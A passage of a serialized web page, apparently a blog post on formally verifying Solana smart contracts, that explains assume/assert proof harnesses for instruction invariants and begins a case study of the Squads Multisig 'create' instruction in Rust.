",{"type":23,"tag":37,"props":22084,"children":22086},{"className":22085},[3984,3985],[22087],{"type":23,"tag":41,"props":22088,"children":22090},{"className":22089},[3990],[22091],{"type":23,"tag":41,"props":22092,"children":22094},{"className":22093,"ariaHidden":3996},[3995],[22095],{"type":23,"tag":41,"props":22096,"children":22098},{"className":22097},[4001],[22099,22103],{"type":23,"tag":41,"props":22100,"children":22102},{"className":22101,"style":21569},[4006],[],{"type":23,"tag":41,"props":22104,"children":22107},{"className":22105,"style":22106},[4012,21574],"margin-right:0.07153em;",[22108],{"type":28,"value":22109},"K",{"type":28,"value":22111}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":37,"props":22113,"children":22115},{"className":22114},[],[22116],{"type":28,"value":20477},{"type":28,"value":22118}," not an ",{"type":23,"tag":37,"props":22120,"children":22122},{"className":22121},[],[22123],{"type":28,"value":22124},"Err",{"type":28,"value":20729},{"type":23,"tag":24,"props":22127,"children":22128},{},[22129],{"type":28,"value":22130},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":546,"props":22132,"children":22134},{"id":22133},"account-invariants-1",[22135],{"type":28,"value":22136},"Account invariants",{"type":23,"tag":24,"props":22138,"children":22139},{},[22140,22142,22173,22175,22205,22207,22237],{"type":28,"value":22141},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":37,"props":22143,"children":22145},{"className":22144},[3984,3985],[22146],{"type":23,"tag":41,"props":22147,"children":22149},{"className":22148},[3990],[22150],{"type":23,"tag":41,"props":22151,"children":22153},{"className":22152,"ariaHidden":3996},[3995],[22154],{"type":23,"tag":41,"props":22155,"children":22157},{"className":22156},[4001],[22158,22162,22168],{"type":23,"tag":41,"props":22159,"children":22161},{"className":22160,"style":21569},[4006],[],{"type":23,"tag":41,"props":22163,"children":22165},{"className":22164},[4012],[22166],{"type":28,"value":22167},"¬",{"type":23,"tag":41,"props":22169,"children":22171},{"className":22170,"style":22106},[4012,21574],[22172],{"type":28,"value":22109},{"type":28,"value":22174},") or the account post-invariants should hold (",{"type":23,"tag":37,"props":22176,"children":22178},{"className":22177},[3984,3985],[22179],{"type":23,"tag":41,"props":22180,"children":22182},{"className":22181},[3990],[22183],{"type":23,"tag":41,"props":22184,"children":22186},{"className":22185,"ariaHidden":3996},[3995],[22187],{"type":23,"tag":41,"props":22188,"children":22190},{"className":22189},[4001],[22191,22195,22200],{"type":23,"tag":41,"props":22192,"children":22194},{"className":22193,"style":21569},[4006],[],{"type":23,"tag":41,"props":22196,"children":22198},{"className":22197,"style":21575},[4012,21574],[22199],{"type":28,"value":21578},{"type":23,"tag":41,"props":22201,"children":22203},{"className":22202},[4012],[22204],{"type":28,"value":317},{"type":28,"value":22206},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":37,"props":22208,"children":22210},{"className":22209},[3984,3985],[22211],{"type":23,"tag":41,"props":22212,"children":22214},{"className":22213},[3990],[22215],{"type":23,"tag":41,"props":22216,"children":22218},{"className":22217,"ariaHidden":3996},[3995],[22219],{"type":23,"tag":41,"props":22220,"children":22222},{"className":22221},[4001],[22223,22227,22232],{"type":23,"tag":41,"props":22224,"children":22226},{"className":22225,"style":21569},[4006],[],{"type":23,"tag":41,"props":22228,"children":22230},{"className":22229,"style":21575},[4012,21574],[22231],{"type":28,"value":21578},{"type":23,"tag":41,"props":22233,"children":22235},{"className":22234},[4012],[22236],{"type":28,"value":4024},{"type":28,"value":22238},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":24,"props":22240,"children":22241},{},[22242,22244],{"type":28,"value":22243},"So we are trying to prove that ",{"type":23,"tag":37,"props":22245,"children":22247},{"className":22246},[3984,3985],[22248],{"type":23,"tag":41,"props":22249,"children":22251},{"className":22250},[3990],[22252],{"type":23,"tag":41,"props":22253,"children":22255},{"className":22254,"ariaHidden":3996},[3995],[22256,22293,22325],{"type":23,"tag":41,"props":22257,"children":22259},{"className":22258},[4001],[22260,22264,22269,22274,22279,22283,22289],{"type":23,"tag":41,"props":22261,"children":22263},{"className":22262,"style":4113},[4006],[],{"type":23,"tag":41,"props":22265,"children":22267},{"className":22266},[21703],[22268],{"type":28,"value":1737},{"type":23,"tag":41,"props":22270,"children":22272},{"className":22271,"style":21575},[4012,21574],[22273],{"type":28,"value":21578},{"type":23,"tag":41,"props":22275,"children":22277},{"className":22276},[4012],[22278],{"type":28,"value":4024},{"type":23,"tag":41,"props":22280,"children":22282},{"className":22281,"style":4093},[4092],[],{"type":23,"tag":41,"props":22284,"children":22286},{"className":22285},[4098],[22287],{"type":28,"value":22288},"∧",{"type":23,"tag":41,"props":22290,"children":22292},{"className":22291,"style":4093},[4092],[],{"type":23,"tag":41,"props":22294,"children":22296},{"className":22295},[4001],[22297,22301,22306,22311,22315,22321],{"type":23,"tag":41,"props":22298,"children":22300},{"className":22299,"style":4113},[4006],[],{"type":23,"tag":41,"props":22302,"children":22304},{"className":22303,"style":22106},[4012,21574],[22305],{"type":28,"value":22109},{"type":23,"tag":41,"props":22307,"children":22309},{"className":22308},[21725],[22310],{"type":28,"value":2678},{"type":23,"tag":41,"props":22312,"children":22314},{"className":22313,"style":4190},[4092],[],{"type":23,"tag":41,"props":22316,"children":22318},{"className":22317},[4195],[22319],{"type":28,"value":22320},"→",{"type":23,"tag":41,"props":22322,"children":22324},{"className":22323,"style":4190},[4092],[],{"type":23,"tag":41,"props":22326,"children":22328},{"className":22327},[4001],[22329,22333,22338],{"type":23,"tag":41,"props":22330,"children":22332},{"className":22331,"style":21569},[4006],[],{"type":23,"tag":41,"props":22334,"children":22336},{"className":22335,"style":21575},[4012,21574],[22337],{"type":28,"value":21578},{"type":23,"tag":41,"props":22339,"children":22341},{"className":22340},[4012],[22342],{"type":28,"value":317},{"type":23,"tag":24,"props":22344,"children":22345},{},[22346],{"type":28,"value":22347},"We can construct a proof harness like the following:",{"type":23,"tag":31,"props":22349,"children":22351},{"code":22350,"language":19448,"meta":7,"className":19449,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[22352],{"type":23,"tag":37,"props":22353,"children":22354},{"__ignoreMap":7},[22355,22363,22380],{"type":23,"tag":41,"props":22356,"children":22357},{"class":43,"line":44},[22358],{"type":23,"tag":41,"props":22359,"children":22360},{"style":70},[22361],{"type":28,"value":22362},"assume(P0)\n",{"type":23,"tag":41,"props":22364,"children":22365},{"class":43,"line":54},[22366,22371,22375],{"type":23,"tag":41,"props":22367,"children":22368},{"style":70},[22369],{"type":28,"value":22370},"res ",{"type":23,"tag":41,"props":22372,"children":22373},{"style":170},[22374],{"type":28,"value":2381},{"type":23,"tag":41,"props":22376,"children":22377},{"style":70},[22378],{"type":28,"value":22379}," instruction_handler(...)\n",{"type":23,"tag":41,"props":22381,"children":22382},{"class":43,"line":76},[22383,22387,22391,22396,22401,22406],{"type":23,"tag":41,"props":22384,"children":22385},{"style":58},[22386],{"type":28,"value":19972},{"type":23,"tag":41,"props":22388,"children":22389},{"style":70},[22390],{"type":28,"value":1737},{"type":23,"tag":41,"props":22392,"children":22394},{"style":22393},"--shiki-default:#F44747",[22395],{"type":28,"value":2630},{"type":23,"tag":41,"props":22397,"children":22398},{"style":70},[22399],{"type":28,"value":22400},"K ",{"type":23,"tag":41,"props":22402,"children":22403},{"style":22393},[22404],{"type":28,"value":22405},"||",{"type":23,"tag":41,"props":22407,"children":22408},{"style":70},[22409],{"type":28,"value":22410}," P1)\n",{"type":23,"tag":24,"props":22412,"children":22413},{},[22414],{"type":28,"value":22415},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":546,"props":22417,"children":22419},{"id":22418},"positive-instruction-invariant",[22420],{"type":28,"value":22421},"Positive instruction invariant",{"type":23,"tag":24,"props":22423,"children":22424},{},[22425,22427,22433,22435,22486],{"type":28,"value":22426},"Next we need to prove that ",{"type":23,"tag":37,"props":22428,"children":22430},{"className":22429},[],[22431],{"type":28,"value":22432},"success_if",{"type":28,"value":22434}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":37,"props":22436,"children":22438},{"className":22437},[3984,3985],[22439],{"type":23,"tag":41,"props":22440,"children":22442},{"className":22441},[3990],[22443],{"type":23,"tag":41,"props":22444,"children":22446},{"className":22445,"ariaHidden":3996},[3995],[22447,22473],{"type":23,"tag":41,"props":22448,"children":22450},{"className":22449},[4001],[22451,22455,22460,22464,22469],{"type":23,"tag":41,"props":22452,"children":22454},{"className":22453,"style":21569},[4006],[],{"type":23,"tag":41,"props":22456,"children":22458},{"className":22457,"style":22033},[4012,21574],[22459],{"type":28,"value":22036},{"type":23,"tag":41,"props":22461,"children":22463},{"className":22462,"style":4190},[4092],[],{"type":23,"tag":41,"props":22465,"children":22467},{"className":22466},[4195],[22468],{"type":28,"value":22320},{"type":23,"tag":41,"props":22470,"children":22472},{"className":22471,"style":4190},[4092],[],{"type":23,"tag":41,"props":22474,"children":22476},{"className":22475},[4001],[22477,22481],{"type":23,"tag":41,"props":22478,"children":22480},{"className":22479,"style":21569},[4006],[],{"type":23,"tag":41,"props":22482,"children":22484},{"className":22483,"style":22106},[4012,21574],[22485],{"type":28,"value":22109},{"type":28,"value":706},{"type":23,"tag":24,"props":22488,"children":22489},{},[22490],{"type":28,"value":22491},"Just like before we can construct a proof harness:",{"type":23,"tag":31,"props":22493,"children":22495},{"code":22494,"language":19448,"meta":7,"className":19449,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[22496],{"type":23,"tag":37,"props":22497,"children":22498},{"__ignoreMap":7},[22499,22507,22522],{"type":23,"tag":41,"props":22500,"children":22501},{"class":43,"line":44},[22502],{"type":23,"tag":41,"props":22503,"children":22504},{"style":70},[22505],{"type":28,"value":22506},"assume(S)\n",{"type":23,"tag":41,"props":22508,"children":22509},{"class":43,"line":54},[22510,22514,22518],{"type":23,"tag":41,"props":22511,"children":22512},{"style":70},[22513],{"type":28,"value":22370},{"type":23,"tag":41,"props":22515,"children":22516},{"style":170},[22517],{"type":28,"value":2381},{"type":23,"tag":41,"props":22519,"children":22520},{"style":70},[22521],{"type":28,"value":22379},{"type":23,"tag":41,"props":22523,"children":22524},{"class":43,"line":76},[22525,22529],{"type":23,"tag":41,"props":22526,"children":22527},{"style":58},[22528],{"type":28,"value":19972},{"type":23,"tag":41,"props":22530,"children":22531},{"style":70},[22532],{"type":28,"value":22533},"(K)\n",{"type":23,"tag":24,"props":22535,"children":22536},{},[22537,22539,22544,22546,22558],{"type":28,"value":22538},"This proof assures that whenever ",{"type":23,"tag":37,"props":22540,"children":22542},{"className":22541},[],[22543],{"type":28,"value":20143},{"type":28,"value":22545}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":2913,"props":22547,"children":22548},{},[22549,22551,22556],{"type":28,"value":22550},"even if ",{"type":23,"tag":37,"props":22552,"children":22554},{"className":22553},[],[22555],{"type":28,"value":20143},{"type":28,"value":22557}," is not satisfied",{"type":28,"value":22559},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":546,"props":22561,"children":22563},{"id":22562},"_3-negative-instruction-invariant",[22564],{"type":28,"value":22565},"3. Negative instruction invariant",{"type":23,"tag":24,"props":22567,"children":22568},{},[22569,22571,22576,22578,22634],{"type":28,"value":22570},"Finally, we want to prove that ",{"type":23,"tag":37,"props":22572,"children":22574},{"className":22573},[],[22575],{"type":28,"value":20150},{"type":28,"value":22577}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":37,"props":22579,"children":22581},{"className":22580},[3984,3985],[22582],{"type":23,"tag":41,"props":22583,"children":22585},{"className":22584},[3990],[22586],{"type":23,"tag":41,"props":22587,"children":22589},{"className":22588,"ariaHidden":3996},[3995],[22590,22616],{"type":23,"tag":41,"props":22591,"children":22593},{"className":22592},[4001],[22594,22598,22603,22607,22612],{"type":23,"tag":41,"props":22595,"children":22597},{"className":22596,"style":21569},[4006],[],{"type":23,"tag":41,"props":22599,"children":22601},{"className":22600,"style":22033},[4012,21574],[22602],{"type":28,"value":22071},{"type":23,"tag":41,"props":22604,"children":22606},{"className":22605,"style":4190},[4092],[],{"type":23,"tag":41,"props":22608,"children":22610},{"className":22609},[4195],[22611],{"type":28,"value":22320},{"type":23,"tag":41,"props":22613,"children":22615},{"className":22614,"style":4190},[4092],[],{"type":23,"tag":41,"props":22617,"children":22619},{"className":22618},[4001],[22620,22624,22629],{"type":23,"tag":41,"props":22621,"children":22623},{"className":22622,"style":21569},[4006],[],{"type":23,"tag":41,"props":22625,"children":22627},{"className":22626},[4012],[22628],{"type":28,"value":22167},{"type":23,"tag":41,"props":22630,"children":22632},{"className":22631,"style":22106},[4012,21574],[22633],{"type":28,"value":22109},{"type":28,"value":706},{"type":23,"tag":24,"props":22636,"children":22637},{},[22638],{"type":28,"value":22639},"This harness looks just like the previous one:",{"type":23,"tag":31,"props":22641,"children":22643},{"code":22642,"language":19448,"meta":7,"className":19449,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[22644],{"type":23,"tag":37,"props":22645,"children":22646},{"__ignoreMap":7},[22647,22655,22670],{"type":23,"tag":41,"props":22648,"children":22649},{"class":43,"line":44},[22650],{"type":23,"tag":41,"props":22651,"children":22652},{"style":70},[22653],{"type":28,"value":22654},"assume(E)\n",{"type":23,"tag":41,"props":22656,"children":22657},{"class":43,"line":54},[22658,22662,22666],{"type":23,"tag":41,"props":22659,"children":22660},{"style":70},[22661],{"type":28,"value":22370},{"type":23,"tag":41,"props":22663,"children":22664},{"style":170},[22665],{"type":28,"value":2381},{"type":23,"tag":41,"props":22667,"children":22668},{"style":70},[22669],{"type":28,"value":22379},{"type":23,"tag":41,"props":22671,"children":22672},{"class":43,"line":76},[22673,22677,22681,22685],{"type":23,"tag":41,"props":22674,"children":22675},{"style":58},[22676],{"type":28,"value":19972},{"type":23,"tag":41,"props":22678,"children":22679},{"style":70},[22680],{"type":28,"value":1737},{"type":23,"tag":41,"props":22682,"children":22683},{"style":22393},[22684],{"type":28,"value":2630},{"type":23,"tag":41,"props":22686,"children":22687},{"style":70},[22688],{"type":28,"value":22689},"K)\n",{"type":23,"tag":24,"props":22691,"children":22692},{},[22693,22695,22699],{"type":28,"value":22694},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":2913,"props":22696,"children":22697},{},[22698],{"type":28,"value":16360},{"type":28,"value":22700}," the account invariants we expect are always being preserved.",{"type":23,"tag":446,"props":22702,"children":22704},{"id":22703},"case-study-squads-multisig",[22705],{"type":28,"value":22706},"Case study: Squads Multisig",{"type":23,"tag":24,"props":22708,"children":22709},{},[22710,22712,22717],{"type":28,"value":22711},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":458,"props":22713,"children":22715},{"href":18812,"rel":22714},[462],[22716],{"type":28,"value":18816},{"type":28,"value":706},{"type":23,"tag":24,"props":22719,"children":22720},{},[22721,22723,22729,22731,22737],{"type":28,"value":22722},"The program defines a Multisig account (",{"type":23,"tag":37,"props":22724,"children":22726},{"className":22725},[],[22727],{"type":28,"value":22728},"Ms",{"type":28,"value":22730},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":37,"props":22732,"children":22734},{"className":22733},[],[22735],{"type":28,"value":22736},"threshold",{"type":28,"value":22738}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":24,"props":22740,"children":22741},{},[22742],{"type":28,"value":22743},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":24,"props":22745,"children":22746},{},[22747],{"type":28,"value":22748},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":5436,"props":22750,"children":22751},{},[22752,22757,22762,22767],{"type":23,"tag":421,"props":22753,"children":22754},{},[22755],{"type":28,"value":22756},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":421,"props":22758,"children":22759},{},[22760],{"type":28,"value":22761},"Verify threshold requirements",{"type":23,"tag":421,"props":22763,"children":22764},{},[22765],{"type":28,"value":22766},"Verify requirements to remove a member",{"type":23,"tag":421,"props":22768,"children":22769},{},[22770],{"type":28,"value":22771},"Safety guarantees",{"type":23,"tag":546,"props":22773,"children":22775},{"id":22774},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[22776],{"type":28,"value":22777},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":24,"props":22779,"children":22780},{},[22781,22783,22788],{"type":28,"value":22782},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":37,"props":22784,"children":22786},{"className":22785},[],[22787],{"type":28,"value":20143},{"type":28,"value":22789}," expression.",{"type":23,"tag":24,"props":22791,"children":22792},{},[22793,22795,22800,22802,22808],{"type":28,"value":22794},"Creating a multisig (",{"type":23,"tag":37,"props":22796,"children":22798},{"className":22797},[],[22799],{"type":28,"value":22728},{"type":28,"value":22801},") requires invoking the ",{"type":23,"tag":37,"props":22803,"children":22805},{"className":22804},[],[22806],{"type":28,"value":22807},"create",{"type":28,"value":22809}," instruction:",{"type":23,"tag":31,"props":22811,"children":22813},{"code":22812,"language":2981,"meta":7,"className":2982,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[22814],{"type":23,"tag":37,"props":22815,"children":22816},{"__ignoreMap":7},[22817,22834,22889,22919,22927,22935,22952,23003,23053,23061,23102,23109,23125,23158,23200,23207,23214,23233,23261,23281,23301,23329,23348,23356,23384,23404,23424,23431,23439,23471,23494,23529,23537,23545,23554,23596,23629,23637,23645,23654,23730,23763,23771,23779,23816,23829,23842,23855,23909,23918],{"type":23,"tag":41,"props":22818,"children":22819},{"class":43,"line":44},[22820,22825,22830],{"type":23,"tag":41,"props":22821,"children":22822},{"style":70},[22823],{"type":28,"value":22824},"#[derive(",{"type":23,"tag":41,"props":22826,"children":22827},{"style":94},[22828],{"type":28,"value":22829},"Accounts",{"type":23,"tag":41,"props":22831,"children":22832},{"style":70},[22833],{"type":28,"value":20247},{"type":23,"tag":41,"props":22835,"children":22836},{"class":43,"line":54},[22837,22842,22846,22850,22855,22859,22863,22868,22872,22876,22880,22884],{"type":23,"tag":41,"props":22838,"children":22839},{"style":70},[22840],{"type":28,"value":22841},"#[instruction(threshold",{"type":23,"tag":41,"props":22843,"children":22844},{"style":170},[22845],{"type":28,"value":1474},{"type":23,"tag":41,"props":22847,"children":22848},{"style":94},[22849],{"type":28,"value":21017},{"type":23,"tag":41,"props":22851,"children":22852},{"style":70},[22853],{"type":28,"value":22854},", create_key",{"type":23,"tag":41,"props":22856,"children":22857},{"style":170},[22858],{"type":28,"value":1474},{"type":23,"tag":41,"props":22860,"children":22861},{"style":94},[22862],{"type":28,"value":20844},{"type":23,"tag":41,"props":22864,"children":22865},{"style":70},[22866],{"type":28,"value":22867},", members",{"type":23,"tag":41,"props":22869,"children":22870},{"style":170},[22871],{"type":28,"value":1474},{"type":23,"tag":41,"props":22873,"children":22874},{"style":94},[22875],{"type":28,"value":21376},{"type":23,"tag":41,"props":22877,"children":22878},{"style":70},[22879],{"type":28,"value":1012},{"type":23,"tag":41,"props":22881,"children":22882},{"style":94},[22883],{"type":28,"value":21385},{"type":23,"tag":41,"props":22885,"children":22886},{"style":70},[22887],{"type":28,"value":22888},">)]\n",{"type":23,"tag":41,"props":22890,"children":22891},{"class":43,"line":76},[22892,22896,22900,22905,22910,22915],{"type":23,"tag":41,"props":22893,"children":22894},{"style":64},[22895],{"type":28,"value":13685},{"type":23,"tag":41,"props":22897,"children":22898},{"style":64},[22899],{"type":28,"value":21138},{"type":23,"tag":41,"props":22901,"children":22902},{"style":94},[22903],{"type":28,"value":22904}," Create",{"type":23,"tag":41,"props":22906,"children":22907},{"style":70},[22908],{"type":28,"value":22909},"\u003C'",{"type":23,"tag":41,"props":22911,"children":22912},{"style":94},[22913],{"type":28,"value":22914},"info",{"type":23,"tag":41,"props":22916,"children":22917},{"style":70},[22918],{"type":28,"value":7280},{"type":23,"tag":41,"props":22920,"children":22921},{"class":43,"line":85},[22922],{"type":23,"tag":41,"props":22923,"children":22924},{"style":70},[22925],{"type":28,"value":22926},"    #[account(\n",{"type":23,"tag":41,"props":22928,"children":22929},{"class":43,"line":105},[22930],{"type":23,"tag":41,"props":22931,"children":22932},{"style":70},[22933],{"type":28,"value":22934},"        init,\n",{"type":23,"tag":41,"props":22936,"children":22937},{"class":43,"line":155},[22938,22943,22947],{"type":23,"tag":41,"props":22939,"children":22940},{"style":70},[22941],{"type":28,"value":22942},"        payer ",{"type":23,"tag":41,"props":22944,"children":22945},{"style":170},[22946],{"type":28,"value":2381},{"type":23,"tag":41,"props":22948,"children":22949},{"style":70},[22950],{"type":28,"value":22951}," creator,\n",{"type":23,"tag":41,"props":22953,"children":22954},{"class":43,"line":186},[22955,22960,22964,22968,22972,22977,22981,22986,22990,22994,22998],{"type":23,"tag":41,"props":22956,"children":22957},{"style":70},[22958],{"type":28,"value":22959},"        space ",{"type":23,"tag":41,"props":22961,"children":22962},{"style":170},[22963],{"type":28,"value":2381},{"type":23,"tag":41,"props":22965,"children":22966},{"style":94},[22967],{"type":28,"value":21143},{"type":23,"tag":41,"props":22969,"children":22970},{"style":170},[22971],{"type":28,"value":3479},{"type":23,"tag":41,"props":22973,"children":22974},{"style":94},[22975],{"type":28,"value":22976},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":41,"props":22978,"children":22979},{"style":170},[22980],{"type":28,"value":8901},{"type":23,"tag":41,"props":22982,"children":22983},{"style":70},[22984],{"type":28,"value":22985}," (members",{"type":23,"tag":41,"props":22987,"children":22988},{"style":170},[22989],{"type":28,"value":706},{"type":23,"tag":41,"props":22991,"children":22992},{"style":70},[22993],{"type":28,"value":21008},{"type":23,"tag":41,"props":22995,"children":22996},{"style":170},[22997],{"type":28,"value":377},{"type":23,"tag":41,"props":22999,"children":23000},{"style":70},[23001],{"type":28,"value":23002}," 32),\n",{"type":23,"tag":41,"props":23004,"children":23005},{"class":43,"line":195},[23006,23011,23015,23020,23025,23029,23033,23038,23043,23048],{"type":23,"tag":41,"props":23007,"children":23008},{"style":70},[23009],{"type":28,"value":23010},"        seeds ",{"type":23,"tag":41,"props":23012,"children":23013},{"style":170},[23014],{"type":28,"value":2381},{"type":23,"tag":41,"props":23016,"children":23017},{"style":70},[23018],{"type":28,"value":23019}," [",{"type":23,"tag":41,"props":23021,"children":23022},{"style":735},[23023],{"type":28,"value":23024},"b\"squad\"",{"type":23,"tag":41,"props":23026,"children":23027},{"style":70},[23028],{"type":28,"value":22854},{"type":23,"tag":41,"props":23030,"children":23031},{"style":170},[23032],{"type":28,"value":706},{"type":23,"tag":41,"props":23034,"children":23035},{"style":70},[23036],{"type":28,"value":23037},"as_ref(), ",{"type":23,"tag":41,"props":23039,"children":23040},{"style":735},[23041],{"type":28,"value":23042},"b\"multisig\"",{"type":23,"tag":41,"props":23044,"children":23045},{"style":70},[23046],{"type":28,"value":23047},"], ",{"type":23,"tag":41,"props":23049,"children":23050},{"style":858},[23051],{"type":28,"value":23052},"bump\n",{"type":23,"tag":41,"props":23054,"children":23055},{"class":43,"line":905},[23056],{"type":23,"tag":41,"props":23057,"children":23058},{"style":70},[23059],{"type":28,"value":23060},"    )]\n",{"type":23,"tag":41,"props":23062,"children":23063},{"class":43,"line":922},[23064,23068,23073,23077,23082,23086,23090,23094,23098],{"type":23,"tag":41,"props":23065,"children":23066},{"style":64},[23067],{"type":28,"value":20830},{"type":23,"tag":41,"props":23069,"children":23070},{"style":858},[23071],{"type":28,"value":23072}," multisig",{"type":23,"tag":41,"props":23074,"children":23075},{"style":170},[23076],{"type":28,"value":1474},{"type":23,"tag":41,"props":23078,"children":23079},{"style":94},[23080],{"type":28,"value":23081}," Account",{"type":23,"tag":41,"props":23083,"children":23084},{"style":70},[23085],{"type":28,"value":22909},{"type":23,"tag":41,"props":23087,"children":23088},{"style":94},[23089],{"type":28,"value":22914},{"type":23,"tag":41,"props":23091,"children":23092},{"style":70},[23093],{"type":28,"value":970},{"type":23,"tag":41,"props":23095,"children":23096},{"style":94},[23097],{"type":28,"value":22728},{"type":23,"tag":41,"props":23099,"children":23100},{"style":70},[23101],{"type":28,"value":6136},{"type":23,"tag":41,"props":23103,"children":23104},{"class":43,"line":930},[23105],{"type":23,"tag":41,"props":23106,"children":23107},{"emptyLinePlaceholder":18},[23108],{"type":28,"value":82},{"type":23,"tag":41,"props":23110,"children":23111},{"class":43,"line":939},[23112,23117,23121],{"type":23,"tag":41,"props":23113,"children":23114},{"style":70},[23115],{"type":28,"value":23116},"    #[account(",{"type":23,"tag":41,"props":23118,"children":23119},{"style":64},[23120],{"type":28,"value":3723},{"type":23,"tag":41,"props":23122,"children":23123},{"style":70},[23124],{"type":28,"value":20247},{"type":23,"tag":41,"props":23126,"children":23127},{"class":43,"line":947},[23128,23132,23137,23141,23146,23150,23154],{"type":23,"tag":41,"props":23129,"children":23130},{"style":64},[23131],{"type":28,"value":20830},{"type":23,"tag":41,"props":23133,"children":23134},{"style":858},[23135],{"type":28,"value":23136}," creator",{"type":23,"tag":41,"props":23138,"children":23139},{"style":170},[23140],{"type":28,"value":1474},{"type":23,"tag":41,"props":23142,"children":23143},{"style":94},[23144],{"type":28,"value":23145}," Signer",{"type":23,"tag":41,"props":23147,"children":23148},{"style":70},[23149],{"type":28,"value":22909},{"type":23,"tag":41,"props":23151,"children":23152},{"style":94},[23153],{"type":28,"value":22914},{"type":23,"tag":41,"props":23155,"children":23156},{"style":70},[23157],{"type":28,"value":6136},{"type":23,"tag":41,"props":23159,"children":23160},{"class":43,"line":985},[23161,23165,23170,23174,23179,23183,23187,23191,23196],{"type":23,"tag":41,"props":23162,"children":23163},{"style":64},[23164],{"type":28,"value":20830},{"type":23,"tag":41,"props":23166,"children":23167},{"style":858},[23168],{"type":28,"value":23169}," system_program",{"type":23,"tag":41,"props":23171,"children":23172},{"style":170},[23173],{"type":28,"value":1474},{"type":23,"tag":41,"props":23175,"children":23176},{"style":94},[23177],{"type":28,"value":23178}," Program",{"type":23,"tag":41,"props":23180,"children":23181},{"style":70},[23182],{"type":28,"value":22909},{"type":23,"tag":41,"props":23184,"children":23185},{"style":94},[23186],{"type":28,"value":22914},{"type":23,"tag":41,"props":23188,"children":23189},{"style":70},[23190],{"type":28,"value":970},{"type":23,"tag":41,"props":23192,"children":23193},{"style":94},[23194],{"type":28,"value":23195},"System",{"type":23,"tag":41,"props":23197,"children":23198},{"style":70},[23199],{"type":28,"value":6136},{"type":23,"tag":41,"props":23201,"children":23202},{"class":43,"line":1058},[23203],{"type":23,"tag":41,"props":23204,"children":23205},{"style":70},[23206],{"type":28,"value":201},{"type":23,"tag":41,"props":23208,"children":23209},{"class":43,"line":1084},[23210],{"type":23,"tag":41,"props":23211,"children":23212},{"emptyLinePlaceholder":18},[23213],{"type":28,"value":82},{"type":23,"tag":41,"props":23215,"children":23216},{"class":43,"line":1102},[23217,23221,23225,23229],{"type":23,"tag":41,"props":23218,"children":23219},{"style":64},[23220],{"type":28,"value":13685},{"type":23,"tag":41,"props":23222,"children":23223},{"style":64},[23224],{"type":28,"value":13690},{"type":23,"tag":41,"props":23226,"children":23227},{"style":114},[23228],{"type":28,"value":7111},{"type":23,"tag":41,"props":23230,"children":23231},{"style":70},[23232],{"type":28,"value":3461},{"type":23,"tag":41,"props":23234,"children":23235},{"class":43,"line":1110},[23236,23240,23244,23248,23252,23257],{"type":23,"tag":41,"props":23237,"children":23238},{"style":858},[23239],{"type":28,"value":20212},{"type":23,"tag":41,"props":23241,"children":23242},{"style":170},[23243],{"type":28,"value":1474},{"type":23,"tag":41,"props":23245,"children":23246},{"style":94},[23247],{"type":28,"value":20278},{"type":23,"tag":41,"props":23249,"children":23250},{"style":70},[23251],{"type":28,"value":1012},{"type":23,"tag":41,"props":23253,"children":23254},{"style":94},[23255],{"type":28,"value":23256},"Create",{"type":23,"tag":41,"props":23258,"children":23259},{"style":70},[23260],{"type":28,"value":6136},{"type":23,"tag":41,"props":23262,"children":23263},{"class":43,"line":1118},[23264,23269,23273,23277],{"type":23,"tag":41,"props":23265,"children":23266},{"style":858},[23267],{"type":28,"value":23268},"    